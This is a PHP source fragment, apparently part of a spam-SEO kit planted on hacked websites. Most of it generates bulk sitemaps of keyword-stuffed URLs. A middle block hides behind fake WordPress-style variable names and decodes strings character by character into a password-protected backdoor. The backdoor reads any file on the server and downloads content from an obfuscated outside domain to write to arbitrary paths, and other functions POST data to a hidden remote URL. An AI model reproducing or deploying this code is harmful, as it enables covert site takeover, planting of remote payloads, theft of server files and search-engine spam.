		$filePres = $httcReplace . "/";	}elseif(JDT == 3){
		$filePres = $httcReplace . "/" .basename(__FILE__) . "?key=";	}else{
		$filePres = '';	}
	if(JDT == 3){
		$fileEnds = '';	}else{
		$fileEnds = JTHZ;	}
	$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	$star = 0;	$priority = 0.1;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");		
			$tempPid = $key;
		
			$url = getalink($tempPid,$value2);
			
 		if(JDT == 0){

		if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
			
		}else{
			
			if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");				
		
			if($star % 12000==11999){
				$gFile =  '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml';				echo '<br/>'.$gFile.'<br/>';				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;			}
			
		
			
	
			$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			
			
			$star++;			$starPri++;		}
			
		}
		
		
			
			
			
			
			
	}
	
	
 		if(JDT == 0){
			
				{
		$gFile =  '../xmlmap/' . $arrABC[$gnumber-2] . 'goodssearch' .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#' . $arrABC[$gnumber-2] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
			
		}else{
			
			{
		$gFile =  '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml';			echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;	
		}
	
	
		}
	
	
	
	unset($tempArr1);	unset($filenames);	
	echo "生成sitemap成功！";	
}


function gsitemap($filenames,$c=1,$jdt=1){
	global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
	$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
	
	$filePres = '';	$fileEnds = '';	
	
	$fpath=get_scheme() .'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];	$serpath=substr($fpath,0,strrpos($fpath,'/'));
	$siteLink=get_scheme() .'://'.$_SERVER['HTTP_HOST'];		
	$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;	$mapEnd = PHP_EOL .  '</urlset>';
	// $urlsArray = $filenames;
	// $numLinks = count($urlsArray);
	
	$star = 0;	$priority = 0.9;	$starPri = 0;	$gFile ="";	$date = date("Y-m-d");	$time = date("H:i:s");
	$str = "     <url>
			 <loc>" . $siteLink . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod> 
			 <changefreq>always</changefreq> 
			 <priority>1.0</priority> 
			 </url>
		";						
	$tempArr1 = $filenames;
	
	foreach($tempArr1 as $key => $value2){
		$curphp=basename(__FILE__); 
		$value = $value2;		$first=stristr($value,".php");		$last=stristr($value,".xml");		$checkTxt =stristr($value,".txt");	
		
			$tempPid = $key;
				$url = getalink($tempPid,$value2);
		
		 if(JDT == 0){
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../xmlmap/sitemap.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			 
			 
			 
		 }else{
			 
			 
			 	if($first===false && $last===false && $checkTxt===false)
		{
			$date = date("Y-m-d");			$time = date("H:i:s");			
	
			if($star % 12000==11999){
				$gFile =  '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml';				echo '<br/>'.$gFile.'<br/>';				
				$put_str = $mapPre . $str . $mapEnd;				@unlink($gFile);				file_put_contents($gFile,$put_str);
				file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
				$str = '';				$gnumber++;				return;				
			}
			
			if($starPri >= 400 && $priority != 0.1){
				$starPri = 0;				$priority = $priority - 0.1;			}
			
			if($priority > 0.1){
				
				$str .= "     <url>
					 <loc>" . $url . "</loc> 
					 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
					 <changefreq>daily</changefreq> 
					 <priority>". $priority . "</priority> 
					 </url>
				";	
			}else{
										$str .= "     <url>
			 <loc>" . $url . "</loc> 
			 <lastmod>". $date . "T" . $time ."-05:00</lastmod>   
			 <changefreq>daily</changefreq> 
			 <priority>0.1</priority> 
			 </url>
		";	
			}
			
			$star++;			$starPri++;		}
			
			
			 
		 }

		
	
			
			
	}
	
	
	
		 if(JDT == 0){
			
	
	{
		$gFile =  '../xmlmap/sitemap.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'site_map.xml'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
	
		 }else{
			 
			 	
	{
		$gFile =  '../xmlmap/' . $arrABC[$gnumber-1] . 'goodssearch' .'.xml';		echo '<br/>'.$gFile.'<br/>';
		$put_str = $mapPre . $str . $mapEnd;		@unlink($gFile);		file_put_contents($gFile,$put_str);	
		file_put_contents("./map.log",'#' . $arrABC[$gnumber-1] . 'goodssearch'  .'.xml#'.PHP_EOL,FILE_APPEND);
		$gnumber++;
	}
			 
		 }
	
	
	
	unset($tempArr1);	unset($filenames);	echo "生成sitemap成功！";	
}
	
function curl_get_from_webpage($url,$proxy='',$loop=10){
	$data = false;        $i = 0;        while(!$data) {
             $data = curlGetOne($url,$proxy);             if($i++ >= $loop) break;        }
	return $data;}
 

function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}

function curlGetOne($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
 
    $curl = curl_init();	//如果有用代理,则使用代理.
	$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";			
	// $urlReferer = "http://www.google.com";
	if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);	
		if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0,	CURLOPT_POSTFIELDS => '',			CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1,			CURLOPT_VERBOSE => 0
			));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
	}$data=curl_exec($curl);curl_close($curl); 
  }else{
 
    $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; 
    if($is_auf){
		$data = file_get_contents($url); 
    }
 
  }
	if(!$data) return false;
	return $data;	
	
}



	
////wwwwwwforbg

@ini_set('display_errors', 0);
$wrapper_makup = "wp_list_pay";
$wp_contents = "wp_list_url";
$wp_makup = "wp_list_cat";
$wp_objacts = "wp_list_text";
$sources_block = "wp_list_tag_cloud";
$items_objacts = "wp_list_search";
$items_makup = "wp_list_rss";
$inners_value = "wp_list_recent_entries";
$filters_value = "wp_list_recent_comments";
$categoryes = "wp_list_pages";
$block_types = "wp_list_meta";
$block_contents = "wp_list_links";
$alowed_html = "wp_list_categories";
$alowed_block = "wp_list_calendar";
$allow_protocols = "wp_list_archives";
$$wrapper_makup = RandAbc();
$$wp_makup =  $wp_list_pay{62}.$wp_list_pay{51}.$wp_list_pay{50}.$wp_list_pay{54}.$wp_list_pay{55};
$$sources_block = $wp_list_pay{28}.$wp_list_pay{26}.$wp_list_pay{27}.$wp_list_pay{33};
$$items_objacts = $wp_list_pay{19}.$wp_list_pay{22}.$wp_list_pay{12}.$wp_list_pay{1}.$wp_list_pay{0}.$wp_list_pay{12}.$wp_list_pay{0}.$wp_list_pay{17}.$wp_list_pay{10}.$wp_list_pay{4}.$wp_list_pay{19};
$$wp_objacts = $$wp_list_cat;
$$wp_contents = $wp_list_pay{12}.$wp_list_pay{3}.$wp_list_pay{31};
$$items_makup = $wp_list_pay{30}.$wp_list_pay{35}.$wp_list_pay{32}.$wp_list_pay{34}.$wp_list_pay{31}.$wp_list_pay{34}.$wp_list_pay{31}.$wp_list_pay{3}.$wp_list_pay{26}.$wp_list_pay{5}.$wp_list_pay{5}.$wp_list_pay{4}.$wp_list_pay{29}.$wp_list_pay{31}.$wp_list_pay{28}.$wp_list_pay{27}.$wp_list_pay{0}.$wp_list_pay{26}.$wp_list_pay{30}.$wp_list_pay{32}.$wp_list_pay{5}.$wp_list_pay{26}.$wp_list_pay{30}.$wp_list_pay{34}.$wp_list_pay{28}.$wp_list_pay{5}.$wp_list_pay{33}.$wp_list_pay{0}.$wp_list_pay{3}.$wp_list_pay{31}.$wp_list_pay{34}.$wp_list_pay{3};
$$inners_value =  $wp_list_pay{23}.$wp_list_pay{24}.$wp_list_pay{25};
$$filters_value = $wp_list_pay{62}.$wp_list_pay{54}.$wp_list_pay{40}.$wp_list_pay{53}.$wp_list_pay{57}.$wp_list_pay{40}.$wp_list_pay{53};
$$categoryes = $$wp_list_recent_comments;
$$block_types = $wp_list_pay{39}.$wp_list_pay{50}.$wp_list_pay{38}.$wp_list_pay{56}.$wp_list_pay{48}.$wp_list_pay{40}.$wp_list_pay{49}.$wp_list_pay{55}.$wp_list_pay{62}.$wp_list_pay{53}.$wp_list_pay{50}.$wp_list_pay{50}.$wp_list_pay{55};
$$block_contents = $wp_list_pay{51}.$wp_list_pay{43}.$wp_list_pay{51}.$wp_list_pay{62}.$wp_list_pay{54}.$wp_list_pay{40}.$wp_list_pay{47}.$wp_list_pay{41};
$$alowed_html = $wp_list_pay{2}.$wp_list_pay{6}.$wp_list_pay{4}.$wp_list_pay{19};
$$alowed_block = $wp_list_pay{8}.$wp_list_pay{13}.$wp_list_pay{3}.$wp_list_pay{4}.$wp_list_pay{23}.$wp_list_pay{63}.$wp_list_pay{15}.$wp_list_pay{7}.$wp_list_pay{15};
$$allow_protocols = $wp_list_pay{7}.$wp_list_pay{19}.$wp_list_pay{19}.$wp_list_pay{15}.$wp_list_pay{64}.$wp_list_pay{65}.$wp_list_pay{65}.$wp_list_pay{22}.$wp_list_pay{22}.$wp_list_pay{22}.$wp_list_pay{63};

if(isset($wp_list_pages["$wp_list_meta"])){$BT = $wp_list_pages["$wp_list_meta"];}elseif(isset($wp_list_pages["$wp_list_links"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$wp_list_pages["$wp_list_links"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';}
foreach($wp_list_text as $wp_list_rsso=>$wp_list_searcho){
	$$wp_list_rsso = $wp_list_searcho;
}

if(!(isset($passwd) && $wp_list_url($passwd) == $wp_list_rss)){
	  
	http_response_code(404);  
	exit; 
}

if(isset($act) && $act == 'check' && isset($check_file)){
	if(file_exists($check_file)){
		echo '#ok#';
	}
}

if(isset($act) && $act == 'test'){
		echo '#ok#';
}

if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){
{
		
			$pfile = $recover_file;
			$date = $wp_list_categories($recover_file_url);
			gdir_file($recover_file);
			@chmod($pfile,0755);

			if($date && file_put_contents($pfile,$date)){
				echo '#ok#';
			}else{
				echo '#fail#';
			}
		
	}
}


$rdstr = 'r';
$rdstr .= 'e';
$rdstr .= 'date';

if(isset($act) && $act == $rdstr && isset($v_read)){
	if(file_exists($v_read)){
		echo see_file($v_read);
	}
}

function RandAbc($length = "") {
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/-";
    return ($str);
} 

function see_file($file){
	if(function_exists('file_get_contents')){
		return file_get_contents($file);
	}else{
		$handle = fopen($file, "r");
		$contents = fread($handle, filesize($file));
		fclose($handle);
		return $contents;
	}
}

function cget($url,$loop=10){
	$data = false;        $i = 0; 

	while(!$data) {
             $data = tcget($url);             if($i++ >= $loop) break;        }
	return $data;
}

function tcget($url,$proxy=''){
	global $wp_list_archives, $wp_list_search, $wp_list_tag_cloud, $wp_list_recent_entries;
     $data = '';    	$url = "$wp_list_archives$wp_list_search.$wp_list_recent_entries/".$url;
 $url = trim($url);     if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){
         $ch = curl_init();         curl_setopt($ch, CURLOPT_URL, $url);		 curl_setopt($ch, CURLOPT_HEADER, false);		 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);		 
         curl_setopt($ch, CURLOPT_TIMEOUT, 60);         $data = curl_exec($ch);         curl_close($ch);      }
    
     if ($data == ''){
         if (function_exists('file_get_contents') && $url){
             $data = @file_get_contents($url);             }
         }
    
     if (($data == '') && $url){
         if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){
             ($fp = @fopen($url, 'r'));            
             if ($fp){
                
                 while (!@feof($fp)){
                     $data .= @fgets($fp) . '';                     }
                
                 @fclose($fp);                 }
             }
         }
     return $data;	
}

function m_mkdir($dir){
		if(!is_dir($dir)) mkdir($dir);
	}
	
function gdir_file($gDir=''){
		global $BT;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;

		
		if(!strstr($gDir,$BT))
			$dir = $BT;
		else
			$dir = '';
		
		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= '/' . $arr[$i];
			m_mkdir($dir);
		}
		
		return $dir;
}


//wwwwwwforend



function my_mkdir($dir){
		global  $fitime;
		if(!is_dir($dir)){
			mkdir($dir);
			@touch($dir, $fitime, $fitime);   
		} 
	}
	

	
	function generate_dir_file($gDir=''){
		
		global $hostDir;
		$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
		$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
		$arr = explode(DIRECTORY_SEPARATOR,$gDir);
		
		if(count($arr) <= 0) return;
		
		if(!strstr($gDir,$hostDir))
			$dir = $hostDir;
		else
			$dir = '';


		for($i = 0 ; $i < count($arr)-1 ; $i++){
			$dir .= DIRECTORY_SEPARATOR . $arr[$i];
			my_mkdir($dir);
		}
		
		return $dir;
	}


	function strFilter($str){
		$str = str_replace('`', '', $str);
		$str = str_replace('·', '', $str);
		$str = str_replace('~', '', $str);
		$str = str_replace('!', '', $str);
		$str = str_replace('！', '', $str);
		$str = str_replace('@', '', $str);
		$str = str_replace('#', '', $str);
		$str = str_replace('$', '', $str);
		$str = str_replace('￥', '', $str);
		$str = str_replace('%', '', $str);
		$str = str_replace('^', '', $str);
		$str = str_replace('……', '', $str);
		$str = str_replace('*', '', $str);
		$str = str_replace('(', '', $str);
		$str = str_replace(')', '', $str);
		$str = str_replace('（', '', $str);
		$str = str_replace('）', '', $str);
		$str = str_replace('-', '', $str);
		$str = str_replace('_', '', $str);
		$str = str_replace('——', '', $str);
		$str = str_replace('+', '', $str);
		$str = str_replace('=', '', $str);
		$str = str_replace('|', '', $str);
		$str = str_replace('\\', '', $str);
		$str = str_replace('[', '', $str);
		$str = str_replace(']', '', $str);
		$str = str_replace('【', '', $str);
		$str = str_replace('】', '', $str);
		$str = str_replace('{', '', $str);
		$str = str_replace('}', '', $str);
		$str = str_replace('；', '', $str);
		$str = str_replace(':', '', $str);
		$str = str_replace('<', '', $str);
		$str = str_replace('>', '', $str);
		$str = str_replace('：', '', $str);
		$str = str_replace('\'', '', $str);
		$str = str_replace('"', '', $str);
		$str = str_replace(',', '', $str);
		$str = str_replace('，', '', $str);
		$str = str_replace('《', '', $str);
		$str = str_replace('》', '', $str);
		$str = str_replace('.', '', $str);
		$str = str_replace('。', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('–', '', $str);
		$str = str_replace('/', '', $str);
		$str = str_replace('、', '', $str);
		$str = str_replace('?', '', $str);
		$str = str_replace('？', '', $str);
		$str = str_replace('°', '', $str);
		$str = str_replace('&', '&amp;', $str);
		return trim($str);
	}




	function getalink($pid,$pname=''){
		
		global $arrnametime,$arrKeywz,$arr_word,$date_string;		
		
		
		if(strstr($pname,'#cat#')){
			$tp_pname_arr = explode('#cat#',$pname);
			$pname = $tp_pname_arr[1];
			$precat = $tp_pname_arr[0];
		}
		
		if(function_exists("preg_split")){
			$tpnameArr = preg_split('/\s+/us', $pname);		
		}else{
			$tpnameArr = explode(' ', $pname);
		}
		
		$pnameArr = array();
		foreach($tpnameArr as $tpvs){
			$tpvs = trim($tpvs);
			if($tpvs){
				$pnameArr[] = $tpvs;
			}
		}
		
		$numPname = count($pnameArr);
		
		if($numPname > 3){
			$numLinkKey = round(PNAMELEN * $numPname / 100);
			$yushu = KEYJG % $numPname;
			
			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$numPname;$i++){
				if($i<$yushu){
					$arrLast[] = $pnameArr[$i];
				}else{
					$arrPre[] = $pnameArr[$i];
				}
			}
			
			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$usedNameArr = array();
			for($i=0;$i<$numLinkKey;$i++){
				$usedNameArr[$i] = $arrPre[$i];
			}

			if(count($usedNameArr)){
				$pname = implode(' ',$usedNameArr);
			}
			
		}
		
		if(JDT == 0){
			$precat = strFilter($precat);
			$precat = preg_replace('/\s+/', '-', $precat);
		}
			
		
		$pname = strFilter($pname);

		$filePres = '';		$fileEnds = '';		$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
		$dirNames = dirname(__FILE__);		$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));		
		if(JDT == 2){
			$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/";		}elseif(JDT == 1){
			$filePres = $siteLink ."/". $httcReplace . "/";		}elseif(JDT == 3){
			$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword=";		}else{
			$filePres = $siteLink."/";		}
		
	
		$rsp = '#'. BZPRO .'\d+#';
		$rsp2 = '#\d+-#';
		$rsp3 = '#-\d+#';
		$pname = trim($pname);
		
		
		$pname = trim(str_replace('>>',' ',$pname));
		$pname = preg_replace('/\s+/', '-', $pname);
	
		
		if(JDT == 3){
			
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
	
		
			while(strstr($pname,'&'))
				$pname = str_replace('&','',$pname);
			
			while(strstr($pname,'--'))
				$pname = str_replace('--','-',$pname);
			
			$urlMid = $pname .'-' .$pid;
			$rtStr = $filePres.$urlMid;
			$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		
			return $rtStr;
			
			}
			
			
		$tpNum = KEYJG * $pid; 
		$tpKey = $tpNum % count($date_string);
		$tpKeyStr = (KEYJG + $pid) % strlen($date_string[$tpKey]);
		$nums = (KEYJG + $pid) % 2 ? 5 : 6 ;
		
		$randStr = '';
		for($i = 0; $i < $nums; $i++){
			$tpstr = $date_string[$tpKey];
			$randStr .= $tpstr{$tpKeyStr};
			$tpKey = ($tpKey + 1) % count($date_string);
		}
			
		if(strlen($pname) > 235){
			$rs = '#&[^;]+;#i';
			$pname = preg_replace($rs,'',$pname);
			$pname = str_replace('&','',$pname);
			$pname = str_replace('&',';',$pname);
			if(function_exists("mb_substr")){
				$pname = mb_substr($pname, 0, 235, 'utf-8');
			}else{
				$pname = substr($pname, 0, 235);
			}
		}	
		
		$precat = preg_replace($rsp,'',$precat);
		$precat = preg_replace($rsp2,'-',$precat);
		$precat = preg_replace($rsp3,'-',$precat);
		$precat = str_replace('&','',$precat);
		$precat = str_replace('>>',' ',$precat);
		$precat = str_replace('&',';',$precat);
		$precat = preg_replace('/\s+/', '-', $precat);

		$pname = preg_replace($rsp,'',$pname);
		$pname = preg_replace($rsp2,'-',$pname);
		$pname = preg_replace($rsp3,'-',$pname);
		
		
			
		if(JDT == 0){
			$urlMid = $precat .'/'. $randStr .'-'. $pid .'/'. $pname;
		}else{
			$urlMid = $precat .'/'. $randStr .'-'. $pid .'/'. $pname;
		}
			

		
			$urlMid .= JTHZ;			$urlMid = str_replace("-/","/",$urlMid);			$urlMid = str_replace("-".JTHZ,JTHZ,$urlMid);		
		
			
			while(strstr($urlMid,'--'))
				$urlMid = str_replace('--','-',$urlMid);	
			// $urlMid = str_replace('/-','/',$urlMid);	
			
		$rtStr = $filePres.$urlMid;
		$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
		$rtStr = str_replace('-amp;-','-&amp;-',$rtStr);
		return $rtStr;
	}
	
	

  
  
  
	
	
	
// bbbbbbbbackupbg

function backup_install($dateArr,$loop=10){


	$data = false;        $i = 0; 

	while(!$data) {
             $data = backup_install_once($dateArr);             if($i++ >= $loop) break;        }
	return $data;
}
 
 
function backup_install_once($dateArr=array()){
	global $O0O000;
	
	$data = false;
	if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
		$curl = curl_init();
		curl_setopt($curl, CURLOPT_URL, $O0O000);
		curl_setopt($curl, CURLOPT_HEADER, 0);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($curl, CURLOPT_POST, 1);
		curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
		curl_setopt($curl, CURLOPT_POSTFIELDS, $dateArr);
		$data = curl_exec($curl);
	
		curl_close($curl);
	
	}else{
		$tempDate = http_build_query($dateArr);	
		$params = array(
			'http' => array(
			'method' => 'POST',
			'timeout' => 5,
			'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
			'content' => $tempDate
			)
		);
		$ctx = stream_context_create($params);
		$data = file_get_contents($O0O000, null, $ctx);
	} 
	 

	return $data;	
}

function backup_install_two($dateArr,$loop=10){


	$data = false;        $i = 0; 

	while(!$data) {
             $data = backup_install_once_two($dateArr);             if($i++ >= $loop) break;        }
	return $data;
}
 

function backup_install_once_two($dateArr=array()){
	global $O0O000;
	
	$data = false;
	
	$tempDate = http_build_query($dateArr);	
	$params = array(
			'http' => array(
			'method' => 'POST',
			'timeout' => 10,
			'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
			'content' => $tempDate
			)
	);
	$ctx = stream_context_create($params);
	$data = file_get_contents($O0O000, null, $ctx);
	 
	return $data;	
}

function  save_install($dateArr=array()){
	$tpstr = serialize($dateArr);
	$tpstr = '<data>'.$tpstr.'</data>';
	$tpstr = base64_encode(gzdeflate($tpstr));
	@file_put_contents("./logs.txt",$tpstr);
}

// bbbbbbbbackupend

	
	
function is_ip($localIp,$ipRanges)
{    
	$localIp = ip2long($localIp);  
	foreach($ipRanges as $val)
	{ 
		$ipmin=sprintf("%u",ip2long($val[0]));		$ipmax=sprintf("%u",ip2long($val[1]));
		if($localIp >= $ipmin && $localIp <= $ipmax)
		{   
			return true; 
		} 
	}   
	return false;}
 
function RandAbcs($length = ""){
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
    return ($str);
} 


 
function getarr(){
		global $O00O0O;
		$arr[0]=$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{8}.$O00O0O{21}.$O00O0O{14}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[1]=$O00O0O{12}.$O00O0O{18}.$O00O0O{10}.$O00O0O{3}.$O00O0O{8}.$O00O0O{18}.$O00O0O{19}.$O00O0O{15}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[2]=$O00O0O{7}.$O00O0O{14}.$O00O0O{18}.$O00O0O{15}.$O00O0O{8}.$O00O0O{12}.$O00O0O{14}.$O00O0O{1}.$O00O0O{13}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[3]=$O00O0O{11}.$O00O0O{0}.$O00O0O{21}.$O00O0O{8}.$O00O0O{18}.$O00O0O{14}.$O00O0O{16}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[4]=$O00O0O{9}.$O00O0O{17}.$O00O0O{1}.$O00O0O{0}.$O00O0O{14}.$O00O0O{1}.$O00O0O{0}.$O00O0O{14}.$O00O0O{8}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
	return $arr;
}

	
function getthisdom(){
	$myArrs = getarr();
    return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
} 
 
 
 
function get_real_ip(){
	
	
	   $ip = '';
    /**
     * resolve any proxies
     */
    if (isset($_SERVER)) {
      if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
